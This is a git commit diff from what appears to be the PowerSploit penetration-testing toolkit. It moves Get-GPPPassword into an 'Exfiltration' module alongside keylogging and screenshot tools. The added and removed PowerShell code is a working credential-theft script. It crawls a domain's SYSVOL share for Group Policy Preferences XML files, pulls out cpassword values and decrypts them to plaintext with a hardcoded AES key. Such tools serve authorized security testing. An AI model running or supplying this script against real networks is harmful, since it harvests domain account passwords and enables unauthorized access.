Updated Get-GPPPassword
This commit is contained in:
parent
717950d00c
commit
371c65c9a7
|
|
@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
|
|||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
|
||||
'Get-Keystrokes.ps1', 'Usage.md'
|
||||
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
|
|
|||
|
|
@ -0,0 +1,126 @@
|
|||
function Get-GPPPassword {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-GPPPassword
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
#define helper function that decodes and decrypts password
|
||||
function Get-DecryptedCpassword {
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error "$Error[0]"}
|
||||
}
|
||||
|
||||
#discover potential files containing passwords
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
|
||||
try {
|
||||
$Filename = $File.Name
|
||||
$Filepath = $File.VersionInfo.FileName
|
||||
|
||||
#put filename in $XmlFile
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare blank variables
|
||||
$Cpassword = ''
|
||||
$UserName = ''
|
||||
$NewName = ''
|
||||
$Changed = ''
|
||||
|
||||
switch ($Filename) {
|
||||
|
||||
'Groups.xml' {
|
||||
$Cpassword = $Xml.Groups.User.Properties.cpassword
|
||||
$UserName = $Xml.Groups.User.Properties.userName
|
||||
$NewName = $Xml.Groups.User.Properties.newName
|
||||
$Changed = $Xml.Groups.User.changed
|
||||
}
|
||||
|
||||
'Services.xml' {
|
||||
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
|
||||
$UserName = $Xml.NTServices.NTService.Properties.accountName
|
||||
$Changed = $Xml.NTServices.NTService.changed
|
||||
}
|
||||
|
||||
'Scheduledtasks.xml' {
|
||||
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
|
||||
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
|
||||
$Changed = $Xml.ScheduledTasks.Task.changed
|
||||
}
|
||||
|
||||
'DataSources.xml' {
|
||||
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
|
||||
$UserName = $Xml.DataSources.DataSource.Properties.username
|
||||
$Changed = $Xml.DataSources.DataSource.changed
|
||||
}
|
||||
}
|
||||
|
||||
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
|
||||
|
||||
else {Write-Verbose "No encrypted passwords found in $Filepath"}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Password' = $Password;
|
||||
'UserName' = $UserName;
|
||||
'Changed' = $Changed;
|
||||
'NewName' = $NewName
|
||||
'File' = $Filepath}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Output $ResultsObject
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
}
|
||||
|
|
@ -132,6 +132,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
|
|||
|
||||
Logs keys pressed, time and the active window.
|
||||
|
||||
#### `Get-GPPPassword`
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
#### `Get-TimedScreenshot`
|
||||
|
||||
A function that takes screenshots at a regular interval and saves them to a folder.
|
||||
|
|
@ -152,10 +156,6 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
|
|||
|
||||
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
|
||||
|
||||
#### `Get-GPPPassword`
|
||||
|
||||
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
|
||||
|
||||
## Recon\Dictionaries
|
||||
|
||||
**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.**
|
||||
|
|
|
|||
|
|
@ -1,106 +0,0 @@
|
|||
function Get-GPPPassword
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
The path to the targeted groups.xml file.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-GPPPassword -path c:\demo\groups.xml
|
||||
|
||||
.LINK
|
||||
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
#>
|
||||
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)]
|
||||
[String]
|
||||
$Path = "$PWD\groups.xml"
|
||||
)
|
||||
|
||||
#Function to pull encrypted password string from groups.xml
|
||||
function Parse-cPassword {
|
||||
|
||||
try {
|
||||
[xml] $Xml = Get-Content ($Path)
|
||||
[String] $Cpassword = $Xml.Groups.User.Properties.cpassword
|
||||
} catch { Write-Error "No Password Policy Found in File!" }
|
||||
|
||||
return $Cpassword
|
||||
}
|
||||
|
||||
#Function to look to see if the administrator account is given a newname
|
||||
function Parse-NewName {
|
||||
|
||||
[xml] $Xml = Get-Content ($Path)
|
||||
[String] $NewName = $Xml.Groups.User.Properties.newName
|
||||
|
||||
return $NewName
|
||||
}
|
||||
|
||||
#Function to parse out the Username whose password is being specified
|
||||
function Parse-UserName {
|
||||
|
||||
try {
|
||||
[xml] $Xml = Get-Content ($Path)
|
||||
[string] $UserName = $Xml.Groups.User.Properties.userName
|
||||
} catch { Write-Error "No Username Specified in File!" }
|
||||
|
||||
return $UserName
|
||||
}
|
||||
|
||||
#Function that decodes and decrypts password
|
||||
function Decrypt-Password {
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
$Pad = "=" * (4 - ($Cpassword.length % 4))
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
} catch { Write-Error "Decryption Failed!" }
|
||||
|
||||
}
|
||||
|
||||
$Cpassword = Parse-cPassword
|
||||
$Password = Decrypt-Password
|
||||
$NewName = Parse-NewName
|
||||
$UserName = Parse-UserName
|
||||
|
||||
$Results = New-Object System.Object
|
||||
|
||||
Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
|
||||
Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
|
||||
Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
|
||||
|
||||
return $Results
|
||||
|
||||
}
|
||||
|
|
@ -73,8 +73,8 @@ AliasesToExport = ''
|
|||
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-GPPPassword.ps1', 'Get-HttpStatus.ps1',
|
||||
'Invoke-ReverseDnsLookup.ps1', 'Usage.md'
|
||||
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
|
||||
'Usage.md'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
|
|
|||
Loading…
Reference in New Issue